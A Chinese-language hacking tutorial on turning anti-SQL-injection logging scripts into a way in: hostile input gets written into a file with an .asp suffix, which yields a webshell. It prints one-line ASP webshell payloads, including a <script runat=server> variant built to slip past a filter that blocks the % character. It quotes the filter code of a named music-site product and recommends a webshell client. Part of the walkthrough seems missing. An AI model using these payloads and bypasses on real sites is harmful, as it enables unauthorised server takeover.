对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方,大家知道,一句话马是利用程序过滤的不完全而写入的,按照这思路,我们是否可以在提交非法参数中加入一句话马而防注入程序会记录我们提交的数据和一句话马并写入数据库,从而得到一个WEBSHELL呢?呵呵,答案是肯定的,但对于要写入的一句话马如何绕过过滤的程序,却是个难题,常见的一句话马格式为”<%execute request(“a”)%>,而<%%>很难绕过HTML的过滤, 但我们可以通过不同的方法来绕过,下面我分别以二个系统来讲解:
  打开”http://127.0.0.1/2005/sia-log.asp,出现了”类型不匹配:’execute’,显示内部错误的IE选项显示好友错误钩掉可以了。我们再用一句话客户端来接连上传后成功得到一个WEBSHELL。
  再谈谈” 快乐视听音乐网 V4.0版本”系统的利用和分析:
  系统加强防sql注入, 取消Asp页面, 对不友好的IP或IP段进行封锁。自动封注入者Ip功能,使注入者不能再访问本站!可后台管理、显示系统界面。当在参数后提交非法数据时,系统自动记录你的IP地址,提交的非法参数和动作等,然后系统屏蔽了你的IP地址,
  让你再无法访问网站。我们先看下防注入sql.asp文件中的部分代码,读过防注入代码的人一眼能看出来这个文件是个修改版的。
  <%
  '--------说明------------------
  'SQL防注入加强版
  '--------数据库连接部分--------------
  dim dbkillSql,killSqlconn,connkillSql
  dbkillSql="data/#sql.asp"
  'On Error Resume Next
  Set killSqlconn = Server.CreateObject("ADODB.Connection")
  connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
  killSqlconn.Open connkillSql
  If Err Then
  err.Clear
  Set killSqlconn = Nothing
  Response.Write "数据库连接出错,请检查连接字串。"
  Response.End
  End If
  '--------定义部份------------------
  Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql
  '自定义需要过滤的字串,用 "|" 分隔
  Fy_In = "'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
  Kill_IP=True
  WriteSql=True              以下略过
  在sql.asp文件中,对下面出现在”|”分隔中的字符进行了拦截:
  Fy_In = "'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
  也说明了只有提交这些出现在”|”分隔的被过滤的字符串,才会被防注入系统写入数据库中而且是被写入到data目录中的#sql.asp文件中,其后缀为.asp的,刚好可以被我们利用,
  同样的道理,当你提交"<%execute request(chr(97))%>时,%被过滤了
  我们把一句话小马加密成"<%25execute request(chr(97))%25>"还是被过滤了,因为%还是存在我们把一句话改成"<script runat=server language=vbscript>eval request(chr(97))</script>这样整句中没有出现“%“,提交后则成功完整的被写入
  用一句话客户端连接并提交成功得到WEBSHELL。如果连接出错,换个一句话连接工具laker2的不错。
  总结:
  以上只是对这二个系统出现的漏洞一个方面的分析和利用,当然这类系统也存在着其它方面的漏洞如cookie的注入
公益活动: